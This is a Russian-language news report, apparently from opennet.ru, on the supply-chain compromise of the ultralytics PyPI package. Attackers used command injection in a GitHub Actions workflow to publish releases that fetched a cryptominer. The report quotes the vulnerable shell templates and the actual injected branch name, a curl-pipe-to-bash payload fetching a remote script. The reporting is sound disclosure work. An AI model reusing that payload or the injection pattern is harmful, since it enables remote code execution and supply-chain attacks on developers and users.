Для компрометации репозитория использовалась уязвимость в пакете ultralytics-actions, используемом в для автоматического запуска обработчиков при совершении определённых действий с репозиторием на GitHub при помощи механизма GitHub Actions. В проекте ultralytics уязвимый обработчик привязывался к событию pull_request_target и вызывался при поступлении новых pull-запросов. В частности, для форматирования кода в присылаемых pull-запросах вызывался обработчик format.yml и выполнялся код, указанный в секции «run» файла action.yml, в котором присутствовали shell-команды с шаблонами подстановки:
git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"
Таким образом, в shell-команды без должного экранирования подставлялось название Git-ветки, упоминаемой в pull-запросе. Примечательно, что в августе в пакете ultralytics-actions уже исправлялась похожая уязвимость, связанная с использованием внешнего значения в функции echo:
echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
Для организации выполнения своего кода в контексте обработчика GitHub Actions атакующие отправили pull-запрос в репозиторий ultralytics, указав в качестве имени ветки:
openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Соответственно, при поступлении pull-запроса в код подставилась заданная атакующими строка «$(…)», которая при при последующем запуске скрипта привела к выполнению кода «curl -sSfL raw.githubusercontent.com/…/file.sh | bash».
Запуск кода в контексте GitHub Actions может использоваться для захвата токена доступа к репозиторию и других конфиденциальных данных. Как именно атакующим удалось сформировать релиз, получив возможность выполнения своего кода в GitHub Actions, пока точно не ясно, предполагается, что это стало возможным благодаря
изменению обработчика publish.yml (атакующие убрали проверку учётной записи с которой разрешено публиковать релизы в PyPI) и использованию техники отравления сборочного кэша GitHub Actions для подстановки своих данных в релиз.
Первый вредоносный релиз Ultralytics 8.3.41 был опубликован злоумышленниками в каталоге PyPI 4 декабря в 23:51 (MSK) и удалён в 12:15 на следующий день. В 15:47 был размещён ещё один релиз 8.3.42, который был удалён в 16:47. Таким образом вредоносные версии в общей сложности были доступны для загрузки около 13 часов. В состав выпусков
8.3.41 и 8.3.42 был добавлен код, осуществляющий загрузку с внешнего сервера компонента для майнинга криптовалюты.
Разработчики проекта устранили проблему и сформировали корректирующие релизы 8.3.43 и 8.3.44, но спустя два дня была совершена ещё одна атака, в ходе которой злоумышленники опубликовали сегодня в 04:41 и 05:27 (MSK) два дополнительных вредоносных релиза — 8.3.45 и 8.3.46, включающих другой код для майнинга. До окончания разбирательства пользователям рекомендуется повременить с установкой новых версий и зафиксировать в зависимостях выпуск 8.3.44.
Источник: http://www.opennet.ru/opennews/art.shtml?num=62365